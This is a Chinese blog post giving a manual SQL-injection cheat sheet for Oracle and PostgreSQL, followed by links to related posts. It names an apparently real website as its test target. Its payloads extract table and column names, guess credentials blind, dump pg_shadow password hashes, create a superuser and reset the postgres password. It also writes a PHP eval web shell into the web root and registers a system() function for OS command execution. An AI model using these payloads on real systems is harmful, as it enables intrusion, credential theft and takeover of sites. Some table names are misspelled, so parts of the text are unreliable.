渗透篇05-SQL Injection漏洞详解--手工挖掘(Oracle&Postgresql篇)

2人阅读 评论(0) 收藏 举报
分类:

一、Oracle注入详解:

                            脚本语言asp,aspx,jsp 

                            web服务器:tomcat

测试站点:http://www.e-hifarms.com/yellowpage/detail.jsp?id=111
判断注入
判断oracle数据库:
id=1 and exists(select * from dual)
id=1 and exists(select * from user_tables)
以上是oracle特有的表
获取列数:order by
联合查询:union select null,null,null,null from dual
爆非数字类型列:union select 1,null,null,null from dual 若报错该列为非数字类型列
   union select 'null',null,null,null from dual 若报错该列为非字符类型列
获取数据库版本:(select banner from sys.v_$version where rownum=1)
获取操作系统版本:(select member from v$logfile where rownum=1)
获取当前用户:(select SYS_CONTEXT('USERENV''CURRENT_USER')from dual)
获取数据库:(select owner from all_tables where rownum=1)
            eg(在非数字类型列上try):union select (select member from v$logfile where rownum=1),null,null,null from dual

获取第一个表:

                                    union select (select table_name from user_tables where rownum=1),null,null,null from dual

获取第二个表:假设第一个表为A
    union select (select table_name from user_tables where rownum=1 and table_name<>'A'),null,null,null from dual
获取列名:假设获取表名为admin,第一个列名为name,第二个pass
 union select (select column_name from user_tap_columns where table_name='admin' and rownum=1),null,null,null from dual
 union select (select column_name from user_tap_columns where table_name='admin' and rownum=1 and column_name<>'name'),null,null,null from dual
获取数据库:
     union select 1,2,name,4,5,6 from admin
     union select 1,2,pass,4,5,6 from admin
               id=1 and (select count(*) from admin)<>0  返回正常,存在admin表

判断该网站下有多少管理员:and (select count(*) from admin)=1 返回正常为1
指定表名获取列名:and (select count(pass) from admin)>=0 返回正常说明存在name字段
猜解账号密码长度-ascii码:
and (select count (*) from admin where length(pass)>=5)=1 
猜测admin表下pass列是否为5个字符
and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
#substr函数用于截取字符串,判断第一行第一个字符是否为a  
and (select count(*) from admin where ascii(substr(name,2,1))>=97)=1

二、postgresql注入详解:
判断是否为postgresql:
id=1 +and+1::=1-- 
判断版本:+and+1=cast(version()as int)--
判断当前用户:and 1=cast(user||123 as int)
postgres相当于SA
判断有多少字段:
order by

union select null,‘null’,null

union select null,user,null                                                                                                                                                                                               #判断当前用户

union select null,version(),null                                                                                                                                                                                       #判断数据库版本信息
union select null,current_schema(),null                                                                                                                                                                           #判断当前用户权限
union select null,current_database(),null                                                                                                                                                                       #判断当前数据库名称
union+select+null,relname,null from pg_star_user_tables                                                                                                                                      #获取当前id连接的表名
union+select+null,column_name,null+from+information_schema.column+where+table_name='admin'                                                                 #获取admin表下的列
+union+select+null,name||pass,null+from+admin                                                                                                                                                      #查看admin表下name和pass列的内容
+union+select+null,username||chr(124)||passwd,null+from+pg_shadow                                                                                                                    #查看postgresql数据库的账号密码
;create+user+seven+with+superuser+password+'seven'--                                                                                                                                         #创建用户

;alter+user+postgres+with+password+'123456'--                                                                                                                      # 修改postgres的密码写shell:要求较高权限

三、写shell:要求较高权限

1、
id=1 ;create table shell(shell text not null);
id=1;insert into shell values($$<?php @eval($_POST[cracer]);?>$$);
id=1;copy shell(shell) to 'c:/Inetpub/wwwroot/postgresql_sql/shell.php';
    2、
                     ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/Inetpub/wwwroot/postgresql_sql/shell.php''

                读文件前20行:
                pg_read_file('c:/windows/system32/inetsrv/metabase.xml',1,20) 获取网站根路径
创建system函数:要求版本大于8:
        创建一个system的函数:
        create FUNCTION system(cstring) RETURNS int AS 'lib/lib.so.6','system' LANGUAGE 'C' STRICT
        创建一个输出表:
        create table stdout(id serial,system_out text)
        执行shell,输出到表内:
        select system('uname -a>/tmp/test')
        copy输出的内容到表里面:
        COPY stdout(system_out) FROM '/tmp/test'
        从输出表内读取执行后的回显,判断是否执行成功:
        union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--
                  数据库备份还原:假设拥有postgres用户权限
        远程备份数据库到本地:
        pg_dump -O -h 192.168.0.5 -U postgres mdb >c:\mdb.sql
        pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 
        还原数据库:
        psql -h localhost -U postgres -d mdb
实战流程:
判断注入————>创建表x————>写入一句话————>导出一句话到网站根目录————>菜刀连接
查看评论

渗透篇02-SQL Injection漏洞详解--手工挖掘(Access篇)

拖延了这么久,今天来好好写写sql注入吧T_TSql注入涉及内容较多,这个系列分为access注入,mysql注入,sqlser注入,Oracle注入,其它注入,工具使用。一、SQL注入的形成原理来自...
  • qq_38055050
  • qq_38055050
  • 2018-04-15 21:25:40
  • 11

渗透篇04-SQL Injection漏洞详解--手工挖掘(MySQL篇)

继续我们的MySQL手工注入的学习一、安装篇 linux(以红帽为例) yum -y install httpd php mysql mysql-server php-mysql windows ...
  • qq_38055050
  • qq_38055050
  • 2018-04-15 22:44:21
  • 3

一次通过漏洞挖掘成功渗透某网站的过程

寻找突破口 对方主站是一个定制开发的CMS,在进行一系列扫描和分析之后,未发现可利用的地方,于是开始分析其二级域名,发现其中某资源管理分站,目标操作系统linux,仅开放HTTP(80端口),整站程...
  • Liuhuaijin
  • Liuhuaijin
  • 2017-09-27 09:12:47
  • 1176

漏洞银行/逆向工程学习日记(1)-汇编基础

逆向
  • qq_38670794
  • qq_38670794
  • 2017-08-30 21:17:34
  • 161

渗透攻防web篇-sql注入攻击中级

Preface 找到SQL注入漏洞后,我们可以用它来干什么呢?那么本篇文章给大家带来的就是SQL注入漏洞利用技术,现在是时候让我们去体验一下漏洞利用的乐趣了。 目录 第三节 利用SQL注入 3.1...
  • ZmeiXuan
  • ZmeiXuan
  • 2017-08-05 21:58:18
  • 445

渗透篇03-SQL Injection漏洞详解--手工挖掘(SQL server篇)

        接着access数据库注入,来继续谈谈mysql数据库的手工注入吧!一、access和Mssql的区别           access :多为asp脚本 | | ...
  • qq_38055050
  • qq_38055050
  • 2018-04-15 22:11:50
  • 3

渗透篇06-SQL Injection漏洞详解--手工挖掘(其它类型注入篇)

一、提交式注入 1、GET注入:通过url传参 数字型注入:id=1 字符型注入:闭合字符,注释掉尾部‘,目的是执行后面语句 www.cracer.com/news.asp?id=你好 'an...
  • qq_38055050
  • qq_38055050
  • 2018-04-15 23:27:15
  • 24

小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

手动漏洞挖掘 身份认证 1、常用弱口令/基于字典的密码爆破 2、锁定机制 手工猜测,若无锁定机制,则进行爆破 3、信息收集【分站上信息收集,猜测账号密码,如:用户光荣榜等。】 手机...
  • ZiXuanFY
  • ZiXuanFY
  • 2016-10-22 10:13:15
  • 1366

SQL手工注入基础详解---- postgresql篇

来源:邪恶八进制信息安全团队 文章作者:x2bug 一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不...
  • xabc3000
  • xabc3000
  • 2012-05-30 10:52:38
  • 9152

解密系列(基础篇_必备知识)

教程:鱼C解密系列     教材:《加密与解密》     多字节数据存放顺序与CPU有关,微处理器的存储顺序有正序和逆序(即大端存储和小端存储)。     常见的Intel系列使用的编码方式为逆...
  • ccrookie
  • ccrookie
  • 2015-05-15 18:40:28
  • 453
    个人资料
    等级:
    访问量: 575
    积分: 296
    排名: 27万+
    文章存档
    最新评论